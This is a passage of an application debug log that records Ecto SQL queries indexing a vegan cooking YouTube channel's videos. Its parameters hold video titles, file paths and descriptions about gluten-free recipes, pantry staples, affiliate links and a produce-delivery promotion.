affordable meals for beginners 🌱", "0bed9bb5-82e5-448f-b6f8-041744f2b147", 1, [], false, "TMKNdPVZHg8", "https://www.youtube.com/watch?v=TMKNdPVZHg8", 375, "/downloads/downloads/alec/Steamy Vegan/2022-01-28 What do gluten-free vegans eat? | 13 delicious, easy and affordable meals for beginners 🌱/What do gluten-free vegans eat? | 13 delicious, easy and affordable meals for beginners 🌱 [TMKNdPVZHg8].NA", false, false, false, 1, ~U[2022-01-28 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Have you ever wondered what gluten-free vegans eat on the regular? In this video I'll show you 13 delicious, easy and affordable meals that any beginner gluten-free vegan can master! \n\nWhen people who don’t know me that well hear that I’m vegan AND gluten-free, their first question is pretty much always ‘Oh my gosh, what can you even eat, then?’ Or a comment like, ‘wow, that must be so hard’. The truth is, they could not be more wrong!\n\nBeing plant-based is a choice, however for many people, eating gluten-free may their ONLY choice due to an intolerance or even a debilitating disease like Celiac.\n\nI’ve been gluten-free for almost 10 years and plant-based for about 4, and as someone who LOVES to eat and cook, I’m living proof that the options for delicious, affordable and easy meals are literally endless. Plus, with the plant-based and gluten-free markets constantly coming up with new alternatives to your favourite animal and gluten-based products, there’s something for almost anything you’d normally enjoy.\n\nPersonally, I try hard to avoid the processed vegan and gluten-free alternatives and rather try creating my own versions using whole plant foods, but I get that not everyone has the time or patience (including myself at times) so I try to keep that in mind when creating recipes to share with y’all.\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTIMESTAMPS & LINKS TO MY OTHER RECIPES SHOWN IN THIS VIDEO\n0:00:00 - Intro\n2:16- BREAKFAST RECIPES\n2:18 - Big Green Smoothie \n2 (truncated) 20:31:08.740 [debug] QUERY OK source="sources" db=0.5ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.742 [debug] QUERY OK source="media_items" db=1.8ms idle=5.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-01-20 00:00:00Z], 1] 20:31:08.744 [debug] QUERY OK source="media_items" db=1.2ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Looking for simple, delicious and affordable vegan eats? Try these healthy vegan smoothies! Whether you are looking for a post-workout recovery drink, a soothing detox green smoothie, or something just tastes like sunshine, my three favourite smoothies have you covered!\n\nCheck out my blog post for the full recipeS and details! 😀\nCHOCO-BERRY PROTEIN SMOOTHIE: https://steamyvegan.com/choco-berry-p...\nDETOX GREEN SMOOTHIE: https://steamyvegan.com/detox-green-s...\nSUNSHINE SMOOTHIE: https://steamyvegan.com/sunshine-smoo...\n\nWant more EASY and DELICIOUS recipes? These other videos might interest you!\nMY FAVE QUICK BREAKFASTS (VEGAN!): \u00A0\u00A0\u00A0•\u00A0QUICK\u00A0VEGAN\u00A0BREAKFASTS\u00A0|\u00A0vegan,\u00A0gluten-fre...\u00A0\u00A0\n5 MINUTE PESTO + QUINOA BEAN SALAD: \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0LUNCH\u00A0RECIPES!\u00A0Basil\u00A0Pesto\u00A0&\u00A0Qu...\u00A0\u00A0\nQUINOA OAT BREAKFAST BARS: \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0BREAKFAST\u00A0IDEAS\u00A0|\u00A0Quinoa\u00A0Oat\u00A0Br...\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \n\nMusic by Chinsaku - Esta Luna - https://thmatc.co/?l=F3D01724\nMusic by Chinsaku - This World - https://thmatc.co/?l=D0B90A25\nMusic by Juju B. Goode - Day 2. Red Bean Ice Bar - https://thmatc.co/?l=F960BFBD", "How to make healthy smoothies 💚 Easy, delicious, healthy smoothies for beginners! Vegan gluten free", "1113590e-0d48-4259-9a85-9a2c27f9887c", 1, [], false, "NToOA5QK408", "https://www.youtube.com/watch?v=NToOA5QK408", 376, "/downloads/downloads/alec/Steamy Vegan/2022-01-20 How to make healthy smoothies 💚 Easy, delicious, healthy smoothies for beginners! Vegan gluten free/How to make healthy smoothies 💚 Easy, delicious, healthy smoothies for beginners! Vegan gluten free [NToOA5QK408].NA", false, false, false, 1, ~U[2022-01-20 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Looking for simple, delicious and affordable vegan eats? Try these healthy vegan smoothies! Whether you are looking for a post-workout recovery drink, a soothing detox green smoothie, or something just tastes like sunshine, my three favourite smoothies have you covered!\n\nCheck out my blog post for the full recipeS and details! 😀\nCHOCO-BERRY PROTEIN SMOOTHIE: https://steamyvegan.com/choco-berry-p...\nDETOX GREEN SMOOTHIE: https://steamyvegan.com/detox-green-s...\nSUNSHINE SMOOTHIE: https://steamyvegan.com/sunshine-smoo...\n\nWant more EASY and DELICIOUS recipes? These other videos might interest you!\nMY FAVE QUICK BREAKFASTS (VEGAN!): \u00A0\u00A0\u00A0•\u00A0QUICK\u00A0VEGAN\u00A0BREAKFASTS\u00A0|\u00A0vegan,\u00A0gluten-fre...\u00A0\u00A0\n5 MINUTE PESTO + QUINOA BEAN SALAD: \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0LUNCH\u00A0RECIPES!\u00A0Basil\u00A0Pesto\u00A0&\u00A0Qu...\u00A0\u00A0\nQUINOA OAT BREAKFAST BARS: \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0BREAKFAST\u00A0IDEAS\u00A0|\u00A0Quinoa\u00A0Oat\u00A0Br...\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \n\nMusic by Chinsaku - Esta Luna - https://thmatc.co/?l=F3D01724\nMusic by Chinsaku - This World - https://thmatc.co/?l=D0B90A25\nMusic by Juju B. Goode - Day 2. Red Bean Ice Bar - https://thmatc.co/?l=F960BFBD", "How to make healthy smoothies 💚 Easy, delicious, healthy smoothies for beginners! Vegan gluten free", 1, nil, false, "NToOA5QK408", "https://www.youtube.com/watch?v=NToOA5QK408", "/downloads/downloads/alec/Steamy Vegan/2022-01-20 How to make healthy smoothies 💚 Easy, delicious, healthy smoothies for beginners! Vegan gluten free/How to make healthy smoothies 💚 Easy, delicious, healthy smoothies for beginners! Vegan gluten free [NToOA5QK408].NA", false, ~U[2022-01-20 00:00:00Z]] 20:31:08.745 [debug] QUERY OK source="sources" db=0.6ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.747 [debug] QUERY OK source="media_items" db=1.8ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-01-14 00:00:00Z], 1] 20:31:08.750 [debug] QUERY OK source="media_items" db=1.6ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Are you newly gluten-free and have NO CLUE what to eat? Check out my TOP 10 gluten-free pantry essentials that I can't live without! Let me show you how to eat, shop and live gluten-free (and vegan!) without fear of missing out on your favourite comfort foods.\n\nWhen I was diagnosed with a gluten intolerance almost 10 years ago, I wish I had a list of go-to gluten-free pantry essentials to help me! Heck, I wished there were some half-decent comfort foods out there back then! But fear not, if you're making the switch to go gluten-free due to an intolerance, celiac disease, or any other reason, I've got you covered. \n\nTransitioning to a gluten-free diet (especially when you're vegan!) can seem daunting, but truly, there are SO many fabulous GF alternatives out there for lots of your favourite comfort foods: bread, pasta, flour, crackers, cereal, soups, plant-based meats, and more!\n\nBelow are some of the products that I mentioned in this video that I use regularly and always have stocked in my kitchen! \n\nAffiliate Disclosure If you purchase any of these items using the links provided I receive a small commission at no extra cost to you! Thank you for supporting my business, I truly appreciate you! :) \n\nGLUTENULL (couldn't find bread, but they're granola is great too!): https://amzn.to/3K5VPOB\nROBINHOOD GF FLOUR: https://amzn.to/3fnjw6F\nCHICKAPEA PASTA: https://amzn.to/3nohFD0\nONLY OATS: https://amzn.to/3tvdmtt\nBUTLER SOY CURLS: https://amzn.to/33ABpMz\nBRAGG SOY SAUCE: https://amzn.to/3trituz\nSAN-J GF TAMARI: https://amzn.to/3nqcB10\nRICE NOODLES (THAI KITCHEN): https://amzn.to/3K7ugUV\n\n\nWant more helpful vegan tips and hacks? These other videos might interest you!\nOUR VEGAN & GLUTEN-FREE GROCERY HAUL (VANCOUVER, BC): \u00A0\u00A0\u00A0•\u00A0Our\u00A0VEGAN\u00A0+\u00A0GLUTEN-FREE\u00A0GROCERY\u00A0HAUL!\u00A0What...\u00A0\u00A0\nTOP 10 VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\n\nRECIPES I MENTIONED IN THIS VIDEO:\nFAJITA PASTA: \u00A0\u00A0\u00A0•\u00A0High\u00A0Protein\u00A0Vegan\u00A0Dinner\u00A0Idea\u00A0//\u00A0VEGAN\u00A0FA...\u00A0\u00A0\nQUINOA OAT BREAKFAST BARS: \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0BREAKFAST\u00A0IDEAS\u00A0|\u00A0Quinoa\u00A0Oat\u00A0Br...\u00A0\u00A0\nBUTTERY SAGE FETTUCCINI: \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0PASTA\u00A0DINNER\u00A0|\u00A0Sage\u00A0Fettuccini\u00A0...\u00A0\u00A0\nQUICK & EASY HOLIDAY OATMEAL: \u00A0\u00A0\u00A0•\u00A0Quick\u00A0&\u00A0Easy\u00A0Holiday\u00A0Oatmeal\u00A0|\u00A0Vegan\u00A0&\u00A0Glu...\u00A0\u00A0\n\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n\nGet my FREE SOUP BASICS FOR BEGINNERS GUIDE!\nhttps://steamyvegankitchen.com/steamy...\n\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nPINTEREST: https://www.pinterest.ca/SteamyVeganK...\n\nBLOG: https://steamyvegankitchen.com \nCONTACT: janelle@steamyvegankitchen.com\n\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Mr. Jello - Passion Fruit - https://thmatc.co/?l=9DD7E56A\nMusic by Kevatta - snake charmer - https://thmatc.co/?l=9D50074B\nMusic by Kevatta - smoke rings - https://thmatc.co/?l=D6AD4193\nMusic by Juju B. Goode - Day 9. Watermelon Arcade - https://thmatc.co/?l=309E581F\nMusic by Juju B. Goode - Day 14. Finale - https://thmatc.co/?l=341034EF\nMusic by Daniel Mahardika - Blurred Cages - https://thmatc.co/?l=45659BE2\nMusic by Chinsaku - This World - https://thmatc.co/?l=D0B90A25\nMusic by Chinsaku - Esta Luna - https://thmatc.co/?l=F3D01724\nMusic by Chinsaku - B l i s s - https://thmatc.co/?l=2E1DABC4", "TOP 10 GLUTEN-FREE PANTRY ESSENTIALS (vegan friendly!) | How to eat, shop, and live gluten free 😌", "c6767466-c49c-4678-b858-ccaf9b8f0a46", 1, [], false, "j4nDVw-mb4M", "https://www.youtube.com/watch?v=j4nDVw-mb4M", 377, "/downloads/downloads/alec/Steamy Vegan/2022-01-14 TOP 10 GLUTEN-FREE PANTRY ESSENTIALS (vegan friendly!) | How to eat, shop, and live gluten free 😌/TOP 10 GLUTEN-FREE PANTRY ESSENTIALS (vegan friendly!) | How to eat, shop, and live gluten free 😌 [j4nDVw-mb4M].NA", false, false, false, 1, ~U[2022-01-14 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Are you newly gluten-free and have NO CLUE what to eat? Check out my TOP 10 gluten-free pantry essentials that I can't live without! Let me show you how to eat, shop and live gluten-free (and vegan!) without fear of missing out on your favourite comfort foods.\n\nWhen I was diagnosed with a gluten intolerance almost 10 years ago, I wish I had a list of go-to gluten-free pantry essentials to help me! Heck, I wished there were some half-decent comfort foods out there back then! But fear not, if you're making the switch to go gluten-free due to an intolerance, celiac disease, or any other reason, I've got you covered. \n\nTransitioning to a gluten-free diet (especially when you're vegan!) can seem daunting, but truly, there are SO many fabulous GF alternatives out there for lots of your favourite comfort foods: bread, pasta, flour, crackers, cereal, soups, plant-based meats, and more!\n\nBelow are some of the products that I mentioned in this video that I use regularly and always have stocked in my kitchen! \n\nAffiliate Disclosure If you purchase any of these items using the links provided I receive a small commission at no extra cost to you! Thank you for supporting my business, I truly appreciate you! :) \n\nGLUTENULL (couldn't find bread, but they're granola is great too!): https://amzn.to/3K5VPOB\nROBINHOOD GF FLOUR: https://amzn.to/3fnjw6F\nCHICKAPEA PASTA: https://amzn.to/3nohFD0\nONLY OATS: https://amzn.to/3tvdmtt\nBUTLER SOY CURLS: https://amzn.to/33ABpMz\nBRAGG SOY SAUCE: https://amzn.to/3trituz\nSAN-J GF TAMARI: https://amzn.to/3nqcB10\nRICE NOODLES (THAI KITCHEN): https://amzn.to/3K7ugUV\n\n\nWant more helpful vegan tips and hacks? These other videos might interest you!\nOUR VEGAN & GLUTEN-FREE GROCERY HAUL (VANCOUVER, BC): \u00A0\u00A0\u00A0•\u00A0Our\u00A0VEGAN\u00A0+\u00A0GLUTEN-FREE\u00A0GROCERY\u00A0HAUL!\u00A0What...\u00A0\u00A0\nTOP 10 VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\n\nRECIPES I MENTIONED IN THIS VIDEO:\nFAJITA PASTA: \u00A0\u00A0\u00A0•\u00A0High\u00A0Protein\u00A0Vegan\u00A0Dinner\u00A0Idea\u00A0//\u00A0VEGAN\u00A0FA...\u00A0\u00A0\nQUINOA OAT BREAKFAST BARS: \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0BREAKFAST\u00A0IDEAS\u00A0|\u00A0Quinoa\u00A0Oat\u00A0Br...\u00A0\u00A0\nBUTTERY SAGE FETTUCCINI: \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0PASTA\u00A0DINNER\u00A0|\u00A0Sage\u00A0Fettuccini\u00A0...\u00A0\u00A0\nQUICK & EASY HOLIDAY OATMEAL: \u00A0\u00A0\u00A0•\u (truncated) 20:31:08.750 [debug] QUERY OK source="sources" db=0.5ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.752 [debug] QUERY OK source="media_items" db=1.8ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-01-07 00:00:00Z], 1] 20:31:08.756 [debug] QUERY OK source="media_items" db=1.4ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Watch this video to find out what my TOP 10 VEGAN PANTRY STAPLES are! This list will help you have a beautifully stocked fridge and pantry so you can just get to making some delicious (and healthy!) vegan meals!\n\nWhen I decided to start eating plant-based years ago, I wish I had a list of go-to vegan pantry essentials to help me! But fear not, if you're making the switch to #govegan, or are simply curious about eating more plant-based goodness, then I've got you covered!\n\nBelow are some of the products that I mentioned in this video that I use regularly and always have stocked in my kitchen! \n\nAffiliate Disclosure If you purchase any of these items using the links provided I receive a small commission at no extra cost to you! Thank you for supporting my business, I truly appreciate you! :) \n\nButler Soy Curls: https://amzn.to/3r0t6Se\nEarth’s Own Oat Milk, Vanilla (I prefer the unsweetened, though): https://amzn.to/3f3WDFj\nEarth’s Own Oat Milk, Chocolate: https://amzn.to/3HKL6Hi\nSilk Unsweetened Coconut Milk: https://amzn.to/31DVst8\nThai Kitchen Canned Coconut Milk: https://amzn.to/3n4ZvWI\nNutritional Yeast: https://amzn.to/3eYRHkX\nKala Namak (Black Salt): https://amzn.to/3JOXh7G\n\n\nWant more helpful tips, hacks and recipes? These other videos might interest you!\nVEGAN & GLUTEN-FREE GROCERY HAUL (Vancouver, Canada): \u00A0\u00A0\u00A0•\u00A0Our\u00A0VEGAN\u00A0+\u00A0GLUTEN-FREE\u00A0GROCERY\u00A0HAUL!\u00A0What...\u00A0\u00A0\nMY FAVE QUICK BREAKFASTS: \u00A0\u00A0\u00A0•\u00A0QUICK\u00A0VEGAN\u00A0BREAKFASTS\u00A0|\u00A0vegan,\u00A0gluten-fre...\u00A0\u00A0\n\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \n\nMusic by Mark Generous - Two Twenty Two - https://thmatc.co/?\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358\nMusic by Mark Generous - Earl Grey - https://thmatc.co/?l=4AD800F9\nl=1BFC5599\nMusic by Mark Generous - That One Morning - https://thmatc.co/?l=F6BC605E\nMusic by Mark Generous - Vanilla Peppermint - https://thmatc.co/?\nMusic by Mark Generous - White Peony - https://thmatc.co/?\nMusic by Mark Generous - Meganne - https://thmatc.co/?l=EB798C7Al=B7DC5A...", "VEGAN PANTRY STAPLES for New Vegans! My TOP 10 vegan pantry and fridge staples", "c491bc13-0a9d-448e-bf64-e0a52085a738", 1, [], false, "xDhtDA7SFzU", "https://www.youtube.com/watch?v=xDhtDA7SFzU", 378, "/downloads/downloads/alec/Steamy Vegan/2022-01-07 VEGAN PANTRY STAPLES for New Vegans! My TOP 10 vegan pantry and fridge staples/VEGAN PANTRY STAPLES for New Vegans! My TOP 10 vegan pantry and fridge staples [xDhtDA7SFzU].NA", false, false, false, 1, ~U[2022-01-07 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Watch this video to find out what my TOP 10 VEGAN PANTRY STAPLES are! This list will help you have a beautifully stocked fridge and pantry so you can just get to making some delicious (and healthy!) vegan meals!\n\nWhen I decided to start eating plant-based years ago, I wish I had a list of go-to vegan pantry essentials to help me! But fear not, if you're making the switch to #govegan, or are simply curious about eating more plant-based goodness, then I've got you covered!\n\nBelow are some of the products that I mentioned in this video that I use regularly and always have stocked in my kitchen! \n\nAffiliate Disclosure If you purchase any of these items using the links provided I receive a small commission at no extra cost to you! Thank you for supporting my business, I truly appreciate you! :) \n\nButler Soy Curls: https://amzn.to/3r0t6Se\nEarth’s Own Oat Milk, Vanilla (I prefer the unsweetened, though): https://amzn.to/3f3WDFj\nEarth’s Own Oat Milk, Chocolate: https://amzn.to/3HKL6Hi\nSilk Unsweetened Coconut Milk: https://amzn.to/31DVst8\nThai Kitchen Canned Coconut Milk: https://amzn.to/3n4ZvWI\nNutritional Yeast: https://amzn.to/3eYRHkX\nKala Namak (Black Salt): https://amzn.to/3JOXh7G\n\n\nWant more helpful tips, hacks and recipes? These other videos might interest you!\nVEGAN & GLUTEN-FREE GROCERY HAUL (Vancouver, Canada): \u00A0\u00A0\u00A0•\u00A0Our\u00A0VEGAN\u00A0+\u00A0GLUTEN-FREE\u00A0GROCERY\u00A0HAUL!\u00A0What...\u00A0\u00A0\nMY FAVE QUICK BREAKFASTS: \u00A0\u00A0\u00A0•\u00A0QUICK\u00A0VEGAN\u00A0BREAKFASTS\u00A0|\u00A0vegan,\u00A0gluten-fre...\u00A0\u00A0\n\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \n\nMusic by Mark Generous - Two Twenty Two - https://thmatc.co/?\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358\nMusic by Mark Generous - Earl Grey - https://thmatc.co/?l=4AD800F9\nl=1BFC5599\nMusic by Mark Generous - That One Morning - https://thmatc.co/?l=F6BC605E\nMusic by Mark Generous - Vanilla Peppermint - https://thmatc.co/?\nMusic by Mark Generous - White Peony - https://thmatc.co/?\nMusic by Mark Generous - Meganne - https://thmatc.co/?l=EB798C7Al=B7DC5A...", "VEGAN PANTRY STAPLES for New Vegans! My TOP 10 vegan pantry and fridge staples", 1, nil, false, "xDhtDA7SFzU", "https://www.youtube.com/watch?v=xDhtDA7SFzU", "/downloads/downloads/alec/Steamy Vegan/2022-01-07 VEGAN PANTRY STAPLES for New Vegans! My TOP 10 vegan pantry and fridge staples/VEGAN PANTRY STAPLES for New Vegans! My TOP 10 vegan pantry and fridge staples [xDhtDA7SFzU].NA", false, ~U[2022-01-07 00:00:00Z]] 20:31:08.757 [debug] QUERY OK source="sources" db=0.8ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.759 [debug] QUERY OK source="media_items" db=2.1ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-01-05 00:00:00Z], 1] 20:31:08.762 [debug] QUERY OK source="media_items" db=2.4ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I ordered my first box of 'imperfect' produce from Peko Produce! They are Vancouver's first produce delivery service of 'peculiar', imperfect and surplus produce that would otherwise end up in our landfills.\n\nWant to save 40% off your first order with Peko Produce? I have a link for you ⬇️ pekoproduce.com/SVK4023\nOR use promo code SVK4023 at checkout!\n\nIn summary: I'M A FAN! I've been wanting to order from a company like this for a while, but never knew Peko existed! I'm always jazzed to support a local Vancouver business that shares similar values to mine so ordering a box of produce was a total NO BRAINER.\n\nIf you're passionate about sustainable living like me and you happen to reside in the Lower/Metro Vancouver area of BC, Canada, you should check this company out! As a plant-based eater, I'm constantly purchasing fresh fruits and veggies on a more-than-weekly basis, so getting a box of 'ugly' produce (that's still perfectly good to eat!) delivered straight to my door for only $25 per box... is this even real life?! :)\n\nPeko promises that you'll save up to 40% off your produce compared to retail prices - that's pretty awesome. Are you convinced yet?\n\nCheck them out here: www.pekoproduce.com\n\nI hope this review was helpful to you! If you enjoyed this video, please give it a THUMBS UP! Subscribing to my channel would also be a huge plus.... help me beat the 